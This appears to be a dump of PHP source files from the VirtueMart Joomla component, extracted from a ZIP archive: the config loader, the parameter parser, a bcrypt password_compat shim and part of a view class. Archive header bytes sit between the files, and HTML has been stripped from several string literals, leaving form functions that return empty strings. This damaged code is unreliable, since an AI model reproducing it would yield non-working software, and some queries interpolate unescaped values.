if(array_key_exists($key,self::$_jpConfig->_params) && isset(self::$_jpConfig->_params[$key])){ $value = self::$_jpConfig->_params[$key]; } else { $value = $default; } } else { $value = $default; } } else { $app = JFactory::getApplication(); $app -> enqueueMessage('VmConfig get, empty key given'); } return $value; } static function set($key, $value){ if (empty(self::$_jpConfig->_params)) { self::loadConfig(); } if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ if (!empty(self::$_jpConfig->_params)) { self::$_jpConfig->_params[$key] = $value; } } } /** * For setting params, needs assoc array * @author Max Milbers */ function setParams($params,$replace=FALSE){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ //The idea with the merge was that 3rd party use the config to store stuff there, //But we doubt that anyone does it, because the vm team itself never uses it. //To avoid errors like unserialize hidemainmenu b:0;, we just replace now the config with the data, //Hmm does not work, because people may use config values, not in the config form unset($this->_params['hidemainmenu']); unset($this->_params['pdf_invoice']); // parameter remove and replaced by inv_os unset($this->_params['list_limit']); unset($this->_params['pagination_sequence']); if($replace){ self::$_jpConfig->_params = $params; } else { self::$_jpConfig->_params = array_merge($this->_params,$params); } //self::$_jpConfig->_params = $params; } } /** * Writes the params as string and escape them before * @author Max Milbers */ function toString(){ $raw = ''; $db = JFactory::getDBO(); jimport( 'joomla.utilities.arrayhelper' ); foreach(self::$_jpConfig->_params as $paramkey => $value){ //Texts get broken, when serialized, therefore we do a simple encoding, //btw we need serialize for storing arrays note by Max Milbers // if($paramkey!=='offline_message' && $paramkey!=='dateformat'){ if($paramkey!=='offline_message'){ $raw .= $paramkey.'='.serialize($value).'|'; } else { $raw .= $paramkey.'='.base64_encode(serialize($value)).'|'; } } self::$_jpConfig->_raw = substr($raw,0,-1); return self::$_jpConfig->_raw; } /** * Find the currenlty installed version * * @author RickG * @param boolean $includeDevStatus True to include the development status * @return String of the currently installed version */ static function getInstalledVersion($includeDevStatus=FALSE) { // Get the installed version from the wmVersion class. return vmVersion::$RELEASE; } /** * Return if the used joomla function is j15 * @deprecated use JVM_VERSION instead */ function isJ15(){ return (strpos(JVERSION,'1.5') === 0); } function getCreateConfigTableQuery(){ return "CREATE TABLE IF NOT EXISTS `#__virtuemart_configs` ( `virtuemart_config_id` tinyint(1) unsigned NOT NULL AUTO_INCREMENT, `config` text, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT 0, `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT 0, `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`virtuemart_config_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Holds configuration settings' AUTO_INCREMENT=1 ;"; } /** * Read the file vm_config.dat from the install directory, compose the SQL to write * the config record and store it to the dabase. * * @param $_section Section from the virtuemart_defaults.cfg file to be parsed. Currently, only 'config' is implemented * @return Boolean; true on success, false otherwise * @author Oscar van Eijk */ public function installVMconfig($freshInstall=false){ $_value = self::readConfigFile(FALSE,$freshInstall); if (!$_value) { return FALSE; } $_value = join('|', $_value); self::$_jpConfig->_raw = $_value; if($freshInstall){ return true; } $qry = self::$_jpConfig->getCreateConfigTableQuery(); $_db = JFactory::getDBO(); $_db->setQuery($qry); $_db->query(); $query = 'SELECT `virtuemart_config_id` FROM `#__virtuemart_configs` WHERE `virtuemart_config_id` = 1'; $_db->setQuery( $query ); if ($_db->query()){ $qry = 'DELETE FROM `#__virtuemart_configs` WHERE `virtuemart_config_id`=1'; $_db->setQuery($qry); $_db->query(); } $qry = "INSERT INTO `#__virtuemart_configs` (`virtuemart_config_id`, `config`) VALUES ('1', '$_value')"; if(!$freshInstall){ $_db->setQuery($qry); if (!$_db->query()) { JError::raiseWarning(1, 'VmConfig::installVMConfig: '.JText::_('COM_VIRTUEMART_SQL_ERROR').' '.$_db->stderr(TRUE)); echo 'VmConfig::installVMConfig: '.JText::_('COM_VIRTUEMART_SQL_ERROR').' '.$_db->stderr(TRUE); die; }else { //vmdebug('Config installed file, store values '.$_value); return TRUE; } } else { return false; } } /** * We should this move out of this file, because it is usually only used one time in a shop life * @author Oscar van Eijk * @author Max Milbers */ static function readConfigFile($returnDangerousTools,$freshInstall = false){ $_datafile = JPATH_VM_ADMINISTRATOR.DS.'virtuemart.cfg'; if (!file_exists($_datafile)) { if (file_exists(JPATH_VM_ADMINISTRATOR.DS.'virtuemart_defaults.cfg-dist')) { if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } JFile::copy('virtuemart_defaults.cfg-dist','virtuemart.cfg',JPATH_VM_ADMINISTRATOR); } else { JError::raiseWarning(500, 'The data file with the default configuration could not be found. You must configure the shop manually.'); return FALSE; } } else { vmInfo('Taking config from file'); //vmTrace('read config file, why?',TRUE); } $_section = '[CONFIG]'; $_data = fopen($_datafile, 'r'); $_configData = array(); $_switch = FALSE; while ($_line = fgets ($_data)) { $_line = trim($_line); if (strpos($_line, '#') === 0) { continue; // Commentline } if ($_line == '') { continue; // Empty line } if (strpos($_line, '[') === 0) { // New section, check if it's what we want if (strtoupper($_line) == $_section) { $_switch = TRUE; // Ok, right section } else { $_switch = FALSE; } continue; } if (!$_switch) { continue; // Outside a section or inside the wrong one. } if (strpos($_line, '=') !== FALSE) { $pair = explode('=',$_line); if(isset($pair[1])){ if(strpos($pair[1], 'array:') !== FALSE){ $pair[1] = substr($pair[1],6); $pair[1] = explode('|',$pair[1]); } // if($pair[0]!=='offline_message' && $pair[0]!=='dateformat'){ if($pair[0]!=='offline_message'){ $_line = $pair[0].'='.serialize($pair[1]); } else { $_line = $pair[0].'='.base64_encode(serialize($pair[1])); } if(($freshInstall or $returnDangerousTools) && $pair[0] == 'dangeroustools' ){ if($returnDangerousTools){ if ($pair[1] == "0") { return FALSE; } else { return TRUE; } } if($freshInstall){ vmdebug('$freshInstall'); $pair[1]="1"; $_line = $pair[0].'='.serialize($pair[1]); } vmdebug('dangeroustools '.$pair[1]); } } else { $_line = $pair[0].'='; } $_configData[] = $_line; } } fclose ($_data); if (!$_configData) { return FALSE; // Nothing to do } else { return $_configData; } } } class vmURI{ static function getCleanUrl ($JURIInstance = 0,$parts = array('scheme', 'user', 'pass', 'host', 'port', 'path', 'query', 'fragment')) { if(!class_exists('JFilterInput')) require (JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filter'.DS.'input.php'); $_filter = JFilterInput::getInstance(array('br', 'i', 'em', 'b', 'strong'), array(), 0, 0, 1); if($JURIInstance===0)$JURIInstance = JURI::getInstance(); return $_filter->clean($JURIInstance->toString($parts)); } } // pure php no closing tag PK@y>\2ȃHH5components/com_virtuemart/helpers/parameterparser.phpnuW+A basename($filename, '.php'), 'fileName' => $filename); } return JHTML::_('select.genericlist', $list, 'file', '', 'file', 'fileName', $preselected); } /** * Function to strip additional / or \ in a path name * @param string The path * @param boolean Add trailing slash */ function vmPathName($p_path, $p_addtrailingslash = true) { $retval = ""; $isWin = (substr(PHP_OS, 0, 3) == 'WIN'); if ($isWin) { $retval = str_replace('/', '\\', $p_path); if ($p_addtrailingslash) { if (substr($retval, -1) != '\\') { $retval .= '\\'; } } // Check if UNC path $unc = substr($retval, 0, 2) == '\\\\' ? 1 : 0; // Remove double \\ $retval = str_replace('\\\\', '\\', $retval); // If UNC path, we have to add one \ in front or everything breaks! if ($unc == 1) { $retval = '\\' . $retval; } } else { $retval = str_replace('\\', '/', $p_path); if ($p_addtrailingslash) { if (substr($retval, -1) != '/') { $retval .= '/'; } } // Check if UNC path $unc = substr($retval, 0, 2) == '//' ? 1 : 0; // Remove double // $retval = str_replace('//', '/', $retval); // If UNC path, we have to add one / in front or everything breaks! if ($unc == 1) { $retval = '/' . $retval; } } return $retval; } /** * Utility function to read the files in a directory * @param string The file system path * @param string A filter for the names * @param boolean Recurse search into sub-directories * @param boolean True if to prepend the full path to the file name */ function vmReadDirectory($path, $filter='.', $recurse=false, $fullpath=false) { $arr = array(); if (!@is_dir($path)) { return $arr; } $handle = opendir($path); while ($file = readdir($handle)) { $dir = self::vmPathName($path . '/' . $file, false); $isDir = is_dir($dir); if (($file != ".") && ($file != "..")) { if (preg_match("/$filter/", $file)) { if ($fullpath) { $arr[] = trim(self::vmPathName($path . '/' . $file, false)); } else { $arr[] = trim($file); } } if ($recurse && $isDir) { $arr2 = self::vmReadDirectory($dir, $filter, $recurse, $fullpath); $arr = array_merge($arr, $arr2); } } } closedir($handle); asort($arr); return $arr; } } if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); class vmParameters extends JParameter { // /** @var string Path to the xml setup file */ var $_path = null; // /** @var string The type of setup file */ var $_type = null; var $_group = '_default'; /** * Constructor * * @access protected * @param string The raw parms text * @param string payment_element payment element name * @since 1.5 */ function __construct($data, $element = '', $type='component', $pluginfolder ) { $lang = JFactory::getLanguage(); $lang->load('plg_'.$pluginfolder.'_' . $element,JPATH_ADMINISTRATOR); if (JVM_VERSION === 2) { $path = JPATH_PLUGINS . DS . $pluginfolder . DS . basename($element). DS . basename($element) . '.xml'; } else { $path = JPATH_PLUGINS . DS . $pluginfolder . DS . basename($element) . '.xml'; } parent::__construct($element, $path); $this->_type = $type; if (JVM_VERSION === 2) { } else { } // $this->_raw = $data; $this->bind($data); } /** * render * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return string HTML * @author Valérie Cartan Isaksen */ function render($name = 'params', $group = '_default') { // vmdebug('render',$this); // if (JVM_VERSION === 2) { $parameters = $this->vmRender($name, $group); // } else { // $parameters = parent::render($name, $group); // } return $parameters; } /** * Render all parameters copied from Joomla 1.5 * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return array Aarray of all parameters, each as array Any array of the label, the form element and the tooltip * @since 1.5 */ function getParam(&$node, $control_name = 'params', $group = '_default') { //get the type of the parameter $type = $node->attributes('type'); //remove any occurance of a mos_ prefix $type = str_replace('mos_', '', $type); $element = $this->loadElement($type); // error happened if ($element === false) { $result = array(); $result[0] = $node->attributes('name'); $result[1] = JText::_('Element not defined for type').' = '.$type; $result[5] = $result[0]; return $result; } //get value $value = $this->get($node->attributes('name'), $node->attributes('default'), $group); return $element->render($node, $value, $control_name); } function getParamByName($name){ return $this->$name; } /** * vmRender copied from Joomla 1.5 * * @access public * @param string The name of the control, or the default text area if a setup file is not found * @return string HTML * @author Joomla 1.5 */ function vmRender($name = 'params', $group = '_default') { if (!isset($this->_xml[$group])) { return false; } $params = $this->getParams($name, $group); // vmdebug('vmRender',$params); $html = array (); $html[] = ''; if ($description = $this->_xml[$group]->attributes('description')) { // add the params description to the display $desc = JText::_($description); $html[] = ''; } foreach ($params as $param) { $html[] = ''; if ($param[0]) { $html[] = ''; $html[] = ''; } else { $html[] = ''; } $html[] = ''; } if (count($params) < 1) { $html[] = ""; } $html[] = '
      '.$desc.'
      '.$param[0].''.$param[1].''.$param[1].'
      ".JText::_('There are no Parameters for this item')."
      '; return implode("\n", $html); } /** * * @author Sören, Max Milbers * @param object A param tag node * @param string The control name * @return array Any array of the label, the form element and the tooltip */ function renderParam(&$param, $control_name='params') { $result = array(); $name = $param->attributes('name'); $type = $param->attributes('type'); if ($param->attributes('label') != '') { $label = JText::_($param->attributes('label')); } else { $label = ''; } if ($param->attributes('description')) { $description = JText::_($param->attributes('description')); } else { //$description = JText::_('COM_VIRTUEMART_NO_DESCRIPTION_FOUND'); } $result[0] = $label ? $label : $name; if ($type == 'spacer' || $type == 'checkbox') { $result[0] = ' '; } else { // $result[0] = JHTML::tooltip( addslashes( $description ), addslashes( $result[0] ), '', '', $result[0], '#', 0 ); //$result[0] = $description; } if (in_array('_form_' . $type, $this->_methods)) { $control_name = ''; $value = $this->get($name); // $value = $this->get($param->attributes('name'), $param->attributes('default')); $result[1] = call_user_func(array($this, '_form_' . $type), $name, $value, $param, $control_name, $label); } else { $result[1] = _HANDLER . ' = ' . $type; } if ($description) { $result[2] = JHTML::tooltip($description, $result[0], '', $result[0]); //$result[2] = JHTML::tooltip( $description); // $result[2] = $description; } else { $result[2] = ''; } return $result; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_text($name, $value, &$node, $control_name) { $size = $node->attributes('size'); if ((int) $size == 0) { $size = 25; } return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_password($name, $value, &$node, $control_name) { $size = $node->attributes('size'); if ((int) $size == 0) { $size = 25; } return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_checkbox($name, $value, &$node, $control_name, $label='') { $default = $node->attributes('default'); $checked = ''; if ($value == $default) { $checked = ' checked="checked"'; } $id = uniqid($name); return ' '; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_list($name, $value, &$node, $control_name) { $size = $node->attributes('size'); $multiselect = $node->attributes('multiselect'); if ($multiselect) { $multiselect = 'multiple="multiple"'; $size = 5; $name .= ']['; // well, if it's multi-select, this must be an array, right? if (strstr($value, ',')) { $value = explode(',', $value); } } if ($size == 0) $size = 1; $options = array(); foreach ($node->_children as $option) { $val = $option->attributes('value'); $text = trim($option->data()); $options[$val] = JText::_($text); } return VmHTML::selectList($control_name . '[' . $name . ']', $value, $options, $size, $multiselect); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_radio($name, $value, &$node, $control_name) { $options = array(); foreach ($node->_children as $option) { $val = $option->attributes('value'); $text = trim($option->data()); $options[$val] = JText::_($text); } return VmHTML::radioList($control_name . '[' . $name . ']', $value, $options); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_table_data_list($name, $value, &$node, $control_name) { $db = JFactory::getDBO(); $table = $node->attributes('table'); $condition = $node->attributes('sql_condition'); $valuefield = $node->attributes('valuefield'); $textfield = $node->attributes('textfield'); $orderfield = $node->attributes('orderfield'); $sorting = strtoupper($node->attributes('sorting')) == 'DESC' ? 'DESC' : 'ASC'; $multiselect = $node->attributes('multiselect'); $query = "SELECT `" . $db->getEscaped($valuefield) . '`, `' . $db->getEscaped($textfield) . "`" . "\n FROM `" . $db->getEscaped($table) . "`"; if ($condition != '') { $query .= "\n WHERE " . $condition; } if ($orderfield) { $query .= "\n ORDER BY `" . $db->getEscaped($orderfield) . "` " . $sorting; } $db->setQuery($query); $array = $db->loadResultArray(); if ($multiselect == '1') { $multiple = 'multiple="multiple"'; $size = 5; } else { $multiple = ''; $size = 1; } $name = $control_name . '[' . $name . ']'; return VmHTML::selectList($name, $value, $array, $size, $multiple, 'class="inputbox"'); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ // function _form_vm_category( $name, $value, &$node, $control_name ) { // global $database; // // $multiselect = $node->_attributes( 'multiselect' ); // if( $multiselect == '1' ) { // $multiple = true; // $size = 5; // } else { // $multiple = false; // $size = 1; // } // require( CLASSPATH.'ps_product_category.php'); // $ps_product_category = new ps_product_category(); // // ob_start(); // $ps_product_category->list_all(''. $control_name .'['. $name .']', 0, array(), $size, true, $multiple ); // $category_dropdown = ob_get_clean(); // return $category_dropdown; // } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_filelist($name, $value, &$node, $control_name) { // path to images directory $path = JPATH_SITE . $node->attributes('directory'); $filter = $node->attributes('filter'); $files = vmReadDirectory($path, $filter); $options = array(); foreach ($files as $file) { $options[$file] = $file; } if (!$node->attributes('hide_none')) { array_unshift($options, array('-1', '- ' . 'Do Not Use' . ' -')); } if (!$node->attributes('hide_default')) { array_unshift($options, array('', '- ' . 'Use Default' . ' -')); } return VmHTML::selectList('' . $control_name . '[' . $name . ']', $value, $options, 1, '', 'class="inputbox"'); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_imagelist($name, $value, &$node, $control_name) { $node->addAttribute('filter', '\.png$|\.gif$|\.jpg$|\.bmp$|\.ico$'); return $this->_form_filelist($name, $value, $node, $control_name); } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_textarea($name, $value, &$node, $control_name) { $rows = $node->attributes('rows'); $cols = $node->attributes('cols'); // convert
      tags so they are not visible when editing $value = str_replace('
      ', "\n", $value); return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_hidden($name, $value, &$node, $control_name) { return ''; } /** * @param string The name of the form element * @param string The value of the element * @param object The xml element for the parameter * @param string The control name * @return string The html for the element */ function _form_spacer($name, $value, &$node, $control_name) { if ($value) { return '

      ' . JText::_($value) . '

      '; } else { return '
      '; } } /** * special handling for textarea param */ function textareaHandling(&$txt) { $total = count($txt); for ($i = 0; $i < $total; $i++) { if (strstr($txt[$i], "\n")) { $txt[$i] = str_replace("\n", '
      ', $txt[$i]); } } $txt = implode("\n", $txt); return $txt; } /** * Element name * * @access protected * @var string */ var $_name = 'SQL'; function _form_sql($name, $value, &$node, $control_name) { $db = JFactory::getDBO(); $db->setQuery($node->attributes('query')); $key = ($node->attributes('key_field') ? $node->attributes('key_field') : 'value'); $val = ($node->attributes('value_field') ? $node->attributes('value_field') : $name); return JHTML::_('select.genericlist', $db->loadObjectList(), '' . $control_name . '[' . $name . ']', 'class="inputbox"', $key, $val, $value, $control_name . $name); } } /** * @param string * @return string */ function vmParseParams($txt) { return vmParameters::parse($txt); } // pure php no closing tag PK@y>\^''5components/com_virtuemart/helpers/password_compat.phpnuW+A * @license http://www.opensource.org/licenses/mit-license.html MIT License * @copyright 2012 The Authors */ namespace { if (!defined('PASSWORD_DEFAULT')) { define('PASSWORD_BCRYPT', 1); define('PASSWORD_DEFAULT', PASSWORD_BCRYPT); /** * Hash the password using the specified algorithm * * @param string $password The password to hash * @param int $algo The algorithm to use (Defined by PASSWORD_* constants) * @param array $options The options for the algorithm to use * * @return string|false The hashed password, or false on error. */ function password_hash($password, $algo, array $options = array()) { if (!function_exists('crypt')) { trigger_error("Crypt must be loaded for password_hash to function", E_USER_WARNING); return null; } if (!is_string($password)) { trigger_error("password_hash(): Password must be a string", E_USER_WARNING); return null; } if (!is_int($algo)) { trigger_error("password_hash() expects parameter 2 to be long, " . gettype($algo) . " given", E_USER_WARNING); return null; } $resultLength = 0; switch ($algo) { case PASSWORD_BCRYPT: // Note that this is a C constant, but not exposed to PHP, so we don't define it here. $cost = 10; if (isset($options['cost'])) { $cost = $options['cost']; if ($cost < 4 || $cost > 31) { trigger_error(sprintf("password_hash(): Invalid bcrypt cost parameter specified: %d", $cost), E_USER_WARNING); return null; } } // The length of salt to generate $raw_salt_len = 16; // The length required in the final serialization $required_salt_len = 22; $hash_format = sprintf("$2y$%02d$", $cost); // The expected length of the final crypt() output $resultLength = 60; break; default: trigger_error(sprintf("password_hash(): Unknown password hashing algorithm: %s", $algo), E_USER_WARNING); return null; } $salt_requires_encoding = false; if (isset($options['salt'])) { switch (gettype($options['salt'])) { case 'NULL': case 'boolean': case 'integer': case 'double': case 'string': $salt = (string) $options['salt']; break; case 'object': if (method_exists($options['salt'], '__tostring')) { $salt = (string) $options['salt']; break; } case 'array': case 'resource': default: trigger_error('password_hash(): Non-string salt parameter supplied', E_USER_WARNING); return null; } if (PasswordCompat\binary\_strlen($salt) < $required_salt_len) { trigger_error(sprintf("password_hash(): Provided salt is too short: %d expecting %d", PasswordCompat\binary\_strlen($salt), $required_salt_len), E_USER_WARNING); return null; } elseif (0 == preg_match('#^[a-zA-Z0-9./]+$#D', $salt)) { $salt_requires_encoding = true; } } else { $buffer = ''; $buffer_valid = false; if (function_exists('mcrypt_create_iv') && !defined('PHALANGER')) { $buffer = mcrypt_create_iv($raw_salt_len, MCRYPT_DEV_URANDOM); if ($buffer) { $buffer_valid = true; } } if (!$buffer_valid && function_exists('openssl_random_pseudo_bytes')) { $buffer = openssl_random_pseudo_bytes($raw_salt_len); if ($buffer) { $buffer_valid = true; } } if (!$buffer_valid && @is_readable('/dev/urandom')) { $f = fopen('/dev/urandom', 'r'); $read = PasswordCompat\binary\_strlen($buffer); while ($read < $raw_salt_len) { $buffer .= fread($f, $raw_salt_len - $read); $read = PasswordCompat\binary\_strlen($buffer); } fclose($f); if ($read >= $raw_salt_len) { $buffer_valid = true; } } if (!$buffer_valid || PasswordCompat\binary\_strlen($buffer) < $raw_salt_len) { $bl = PasswordCompat\binary\_strlen($buffer); for ($i = 0; $i < $raw_salt_len; $i++) { if ($i < $bl) { $buffer[$i] = $buffer[$i] ^ chr(mt_rand(0, 255)); } else { $buffer .= chr(mt_rand(0, 255)); } } } $salt = $buffer; $salt_requires_encoding = true; } if ($salt_requires_encoding) { // encode string with the Base64 variant used by crypt $base64_digits = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $bcrypt64_digits = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $base64_string = base64_encode($salt); $salt = strtr(rtrim($base64_string, '='), $base64_digits, $bcrypt64_digits); } $salt = PasswordCompat\binary\_substr($salt, 0, $required_salt_len); $hash = $hash_format . $salt; $ret = crypt($password, $hash); if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) != $resultLength) { return false; } return $ret; } /** * Get information about the password hash. Returns an array of the information * that was used to generate the password hash. * * array( * 'algo' => 1, * 'algoName' => 'bcrypt', * 'options' => array( * 'cost' => 10, * ), * ) * * @param string $hash The password hash to extract info from * * @return array The array of information about the hash. */ function password_get_info($hash) { $return = array( 'algo' => 0, 'algoName' => 'unknown', 'options' => array(), ); if (PasswordCompat\binary\_substr($hash, 0, 4) == '$2y$' && PasswordCompat\binary\_strlen($hash) == 60) { $return['algo'] = PASSWORD_BCRYPT; $return['algoName'] = 'bcrypt'; list($cost) = sscanf($hash, "$2y$%d$"); $return['options']['cost'] = $cost; } return $return; } /** * Determine if the password hash needs to be rehashed according to the options provided * * If the answer is true, after validating the password using password_verify, rehash it. * * @param string $hash The hash to test * @param int $algo The algorithm used for new password hashes * @param array $options The options array passed to password_hash * * @return boolean True if the password needs to be rehashed. */ function password_needs_rehash($hash, $algo, array $options = array()) { $info = password_get_info($hash); if ($info['algo'] != $algo) { return true; } switch ($algo) { case PASSWORD_BCRYPT: $cost = isset($options['cost']) ? $options['cost'] : 10; if ($cost != $info['options']['cost']) { return true; } break; } return false; } /** * Verify a password against a hash using a timing attack resistant approach * * @param string $password The password to verify * @param string $hash The hash to verify against * * @return boolean If the password matches the hash */ function password_verify($password, $hash) { if (!function_exists('crypt')) { trigger_error("Crypt must be loaded for password_verify to function", E_USER_WARNING); return false; } $ret = crypt($password, $hash); if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) != PasswordCompat\binary\_strlen($hash) || PasswordCompat\binary\_strlen($ret) <= 13) { return false; } $status = 0; for ($i = 0; $i < PasswordCompat\binary\_strlen($ret); $i++) { $status |= (ord($ret[$i]) ^ ord($hash[$i])); } return $status === 0; } } } namespace PasswordCompat\binary { /** * Count the number of bytes in a string * * We cannot simply use strlen() for this, because it might be overwritten by the mbstring extension. * In this case, strlen() will count the number of *characters* based on the internal encoding. A * sequence of bytes might be regarded as a single multibyte character. * * @param string $binary_string The input string * * @internal * @return int The number of bytes */ function _strlen($binary_string) { if (function_exists('mb_strlen')) { return mb_strlen($binary_string, '8bit'); } return strlen($binary_string); } /** * Get a substring based on byte limits * * @see _strlen() * * @param string $binary_string The input string * @param int $start * @param int $length * * @internal * @return string The substring */ function _substr($binary_string, $start, $length) { if (function_exists('mb_substr')) { return mb_substr($binary_string, $start, $length, '8bit'); } return substr($binary_string, $start, $length); } } PK@y>\#cII,components/com_virtuemart/helpers/vmview.phpnuW+AcanDo = self::getActions(); } /* * Override the display function to include ACL * Redirect to the control panel when user does not have access */ public function display($tpl = null) { $view = vRequest::getCmd('view', vRequest::getCmd('controller','virtuemart')); if ($view == 'virtuemart' //Virtuemart view is always allowed since this is the page we redirect to in case the user does not have the rights || $view == 'about' //About view always displayed || $this->canDo->get('core.admin')) { //Super administrators always have access parent::display($tpl); return; } //Super administrator always has access if ($this->canDo->get('core.admin')) { parent::display($tpl); return; } if (!$this->canDo->get('vm.'.$view)) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } parent::display($tpl); } /* * Get the ACL actions */ public static function getActions() { $user = JFactory::getUser(); $result = new JObject; //Get the core actions $core_actions = JAccess::getActions('com_virtuemart','component'); foreach ($core_actions as $action) { $result->set($action->name, $user->authorise($action->name, 'com_virtuemart')); } //Get the actions for each section $sections=array('product','category','manufacturer','orders','shop','other'); foreach ($sections as $section) { $section_actions = JAccess::getActions('com_virtuemart',$section); foreach ($section_actions as $action) { $result->set($action->name, $user->authorise($action->name, 'com_virtuemart')); } } return $result; } /* * set all commands and options for BE default.php views * return $list filter_order and */ function addStandardDefaultViewCommands($showNew=true, $showDelete=true, $showHelp=true) { $view = JRequest::getCmd('view', JRequest::getCmd('controller','virtuemart')); JToolBarHelper::divider(); if ($this->canDo->get('core.admin') || $this->canDo->get('vm.'.$view.'.edit.state')) { JToolBarHelper::publishList(); JToolBarHelper::unpublishList(); } if ($this->canDo->get('core.admin') || $this->canDo->get('vm.'.$view.'.edit')) { JToolBarHelper::editListX(); } if ($this->canDo->get('core.admin') || $showNew && $this->canDo->get('vm.'.$view.'.create')) { JToolBarHelper::addNewX(); } if ($this->canDo->get('core.admin') || $showDelete && $this->canDo->get('vm.'.$view.'.delete')) { JToolBarHelper::deleteList(); } self::showHelp ( $showHelp); self::showACLPref($view); } /* * set pagination and filters * return Array() $list( filter_order and dir ) */ function addStandardDefaultViewLists($model, $default_order = 0, $default_dir = 'DESC',$name = 'search') { //This function must be used after the listing // $pagination = $model->getPagination(); // $this->assignRef('pagination', $pagination); /* set list filters */ $option = JRequest::getCmd('option'); $view = JRequest::getCmd('view', JRequest::getCmd('controller','virtuemart')); $app = JFactory::getApplication(); $lists[$name] = $app->getUserStateFromRequest($option . '.' . $view . '.'.$name, $name, '', 'string'); $lists['filter_order'] = $this->getValidFilterOrder($app,$model,$view,$default_order); // if($default_dir===0){ $toTest = $app->getUserStateFromRequest( 'com_virtuemart.'.$view.'.filter_order_Dir', 'filter_order_Dir', $default_dir, 'cmd' ); $lists['filter_order_Dir'] = $model->checkFilterDir($toTest); $this->assignRef('lists', $lists); } function getValidFilterOrder($app,$model,$view,$default_order){ if($default_order===0){ $default_order = $model->getDefaultOrdering(); } $toTest = $app->getUserStateFromRequest( 'com_virtuemart.'.$view.'.filter_order', 'filter_order', $default_order, 'cmd' ); // vmdebug('getValidFilterOrder '.$toTest.' '.$default_order, $model->_validOrderingFieldName); return $model->checkFilterOrder($toTest); } /* * Add simple search to form * @param $searchLabel text to display before searchbox * @param $name lists and id name * ??JText::_('COM_VIRTUEMART_NAME') */ function displayDefaultViewSearch($searchLabel='COM_VIRTUEMART_NAME',$name ='search') { return JText::_('COM_VIRTUEMART_FILTER') . ' ' . JText::_($searchLabel) . ': '; } function addStandardEditViewCommands($id = 0,$object = null) { $view = JRequest::getCmd('view', JRequest::getCmd('controller','virtuemart')); if (JRequest::getCmd('tmpl') =='component' ) { if (!class_exists('JToolBarHelper')) require(JPATH_ADMINISTRATOR.DS.'includes'.DS.'toolbar.php'); } else { // JRequest::setVar('hidemainmenu', true); JToolBarHelper::divider(); if ($this->canDo->get('core.admin') || $this->canDo->get('vm.'.$view.'.edit')) { JToolBarHelper::save(); JToolBarHelper::apply(); } JToolBarHelper::cancel(); self::showHelp(); self::showACLPref($view); } // javascript for cookies setting in case of press "APPLY" $document = JFactory::getDocument(); if (JVM_VERSION===1) { $j = " // " ; } else $j = " // " ; $document->addScriptDeclaration ( $j); // LANGUAGE setting $editView = JRequest::getWord('view',JRequest::getWord('controller','' ) ); $params = JComponentHelper::getParams('com_languages'); //$config =JFactory::getConfig();$config->getValue('language'); $selectedLangue = $params->get('site', 'en-GB'); $lang = strtolower(strtr($selectedLangue,'-','_')); // Get all the published languages defined in Language manager > Content $allLanguages = JLanguageHelper::getLanguages(); foreach ($allLanguages as $jlang) { $languagesByCode[$jlang->lang_code]=$jlang; } // only add if ID and view not null if ($editView and $id and (count(vmconfig::get('active_languages'))>1) ) { if ($editView =='user') $editView ='vendor'; //$params = JComponentHelper::getParams('com_languages'); jimport('joomla.language.helper'); $lang = JRequest::getVar('vmlang', $lang); // list of languages installed in #__extensions (may be more than the ones in the Language manager > Content if the user did not added them) $languages = JLanguageHelper::createLanguageList($selectedLangue, constant('JPATH_SITE'), true); $activeVmLangs = (vmconfig::get('active_languages') ); $flagCss=""; foreach ($languages as $k => &$joomlaLang) { if (!in_array($joomlaLang['value'], $activeVmLangs) ) { unset($languages[$k] ); } else { $key=$joomlaLang['value']; if(!isset($languagesByCode[$key])){ $img = substr($key,0,2);//We try a fallback vmdebug('COM_VIRTUEMART_MISSING_FLAG',$img,$joomlaLang['text']); } else { $img=$languagesByCode[$key]->image; } $image_flag=JPATH_SITE."/media/mod_languages/images/".$img.".gif"; $image_flag_url= 